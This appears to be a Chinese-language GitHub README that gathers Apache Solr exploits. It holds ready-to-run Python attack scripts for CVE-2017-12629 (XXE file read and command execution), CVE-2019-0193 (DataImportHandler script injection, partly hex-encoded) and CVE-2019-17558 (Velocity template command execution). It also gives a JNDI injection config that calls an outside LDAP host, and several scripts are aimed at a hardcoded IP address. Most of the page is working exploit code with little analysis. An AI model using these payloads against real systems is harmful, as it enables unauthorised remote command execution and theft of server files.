Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

Outline

Apache Solr漏洞

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。

Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

https://github.com/Imanfeng/Apache-Solr-RCE

CVE-2017-12629

CVE-2017-12629 - Apache Solr XXE & RCE 漏洞分析

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
# xxe and rce
import requests
from urllib.parse import quote

ip='101.35.196.173'
port='8983'

'''
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
'''
def xxe(url):
    exp = "<?xml version=\"1.0\" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM \""+url+"\">%ext;%ent;]><r>&data;</r>"
    text = quote(exp, 'utf-8')
    burp0_url = "http://"+ip+":"+port+"/solr/demo/select?q="+text+"&wt=xml&defType=xmlparser"
    get = requests.get(burp0_url)
    print(get.text)

# 依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。
# /solr/admin/cores?wt=json 判断
def rce(cmd):#不稳定,并且不知道路径
    burp0_url = "http://"+ip+":"+port+"/solr/demo/config"
    burp0_headers = {"Accept": "*/*", "Accept-Language": "en",
                     "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
                     "Connection": "close"}
    burp0_json = {
        "add-listener": {"args": ["-c", cmd], "class": "solr.RunExecutableListener", "dir": "/bin/",
                         "event": "postCommit", "exe": "sh", "name": "newlistener"}}
    requests.post(burp0_url, headers=burp0_headers, json=burp0_json)

    burp0_json2=[{"id": "test"}]
    requests.post(burp0_url, headers=burp0_headers, json=burp0_json2)

if __name__ == '__main__':
    # xxe("http://101.35.196.173:8080/do.dtd")
    rce("touch /tmp/1")

CVE-2019-0192

https://github.com/mpgn/CVE-2019-0192/blob/master/CVE-2019-0192.py

CVE-2019-0193

https://www.yuque.com/tianxiadamutou/zcfd4v/uyceyo#4785516e

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
import requests
from urllib.parse import quote

def getinfo(remote):
    burp0_url = remote + "/solr/admin/cores?wt=json"
    r = requests.get(burp0_url, verify=False, allow_redirects=False)
    if r.status_code == 200:
        a = list(r.json()['status'].keys())
        # ressource = "/solr/" + a[0] + "/config"
        # print(ressource)
        return a[0]
    else:
        exit(0)

#需要出网
def exp1(url,info,cmd):
    burp0_url = url+"/solr/"+info+"/dataimport?_=1647571813629&indent=on&wt=json"
    burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
                     "Content-type": "application/x-www-form-urlencoded", "Connection": "close"}
    burp0_data = {"command": "full-import", "verbose": "false", "clean": "false", "commit": "true", "debug": "true",
                  "core": "test",
                  "dataConfig": "<dataConfig>\n  <dataSource type=\"URLDataSource\"/>\n  <script><![CDATA[\n          function poc(row){ \n            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\""+cmd+"\").getInputStream()));\n            var result = [];\n            while(true) {\n              var oneline = bufReader.readLine();\n              result.push( oneline );\n              if(!oneline) break; \n            }\n            row.put(\"title\",result.join(\"\\n\\r\")); \n            return row;\n          }\n  ]]></script>\n  <document>\n    <entity name=\"stackoverflow\"\n            url=\"https://stackoverflow.com/feeds/tag/solr\"\n            processor=\"XPathEntityProcessor\"\n            forEach=\"/feed\"\n            transformer=\"script:poc\" />\n  </document>\n</dataConfig>",
                  "name": "dataimport"}
    post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(post.json()['documents'])

def exp2(url,info,cmd):
    burp0url = url+"/solr/"+info+"/config"
    headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
                     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
                     "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
                     "Content-Type": "application/json"}
    burp0_json = {"set-property": {"requestDispatcher.requestParsers.enableStreamBody": True}}
    requests.post(burp0url, headers=headers, json=burp0_json)

    exp='''<dataConfig>
        <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
          <script><![CDATA[
                  function poc(row){
         var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("'''+cmd+'''").getInputStream()));
        var result = [];
        while(true) {
        var oneline = bufReader.readLine();
        result.push( oneline );
        if(!oneline) break;
        }
        row.put("title",result.join("\n\r"));
        return row;
        }
        ]]></script>
        <document>
            <entity
                stream="true"
                name="entity1"
                datasource="streamsrc1"
                processor="XPathEntityProcessor"
                rootEntity="true"
                forEach="/RDF/item"
                transformer="script:poc">
                     <field column="title" xpath="/RDF/item/title" />
            </entity>
        </document>
        </dataConfig>'''
    text = quote(exp, 'utf-8')
    text ="%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22"+quote(cmd,'utf-8')+"%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20"
    burp0_url = url+"/solr/"+info+"/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig="+text
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0",
                     "Accept": "application/json, text/plain, */*",
                     "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
                     "Accept-Encoding": "gzip, deflate",
                     "content-type": "multipart/form-data; boundary=------------------------aceb88c2159f183f"}
    burp0_data = "\r\n--------------------------aceb88c2159f183f\r\nContent-Disposition: form-data; name=\"stream.body\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<RDF>\r\n<item/>\r\n</RDF>\r\n\r\n--------------------------aceb88c2159f183f--"
    requests_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(requests_post.json()['documents'])

if __name__ == '__main__':
    info = getinfo("http://101.35.196.173:8983")
    # exp1("http://101.35.196.173:8983",info,"ls /tmp/")
    exp2("http://101.35.196.173:8983",info,'ls /tmp/')

jndi注入

<dataConfig>
	<dataSource type="JdbcDataSource"
		jndiName="ldap://xxx.xxx.xxx.xxx:1389/Exploit"/>
	<document>
		<entity name="test">
		</entity>
	</document>	
</dataConfig>

CVE-2019-17558

https://github.com/jas502n/solr_rce

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
# 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
import requests

url ="http://101.35.196.173:8983"
cmd ="ls"

burp0_url = url + "/solr/admin/cores?wt=json"
r = requests.get(burp0_url, verify=False, allow_redirects=False)
a = list(r.json()['status'].keys())

burp0_url = url+"/solr/"+a[0]+"/config"
burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/json"}
burp0_json={"update-queryresponsewriter": {"class": "solr.VelocityResponseWriter", "name": "velocity", "params.resource.loader.enabled": "true", "solr.resource.loader.enabled": "true", "startup": "lazy", "template.base.dir": ""}}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json)

burp0_url = url+"/solr/"+a[0]+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
get = requests.get(burp0_url, headers=burp0_headers)
print(get.text)

任意文件删除

https://mp.weixin.qq.com/s/JXBiQR3q7ykITVFBwm_9Vg

Morty Proxy This is a proxified and sanitized view of the page, visit original site.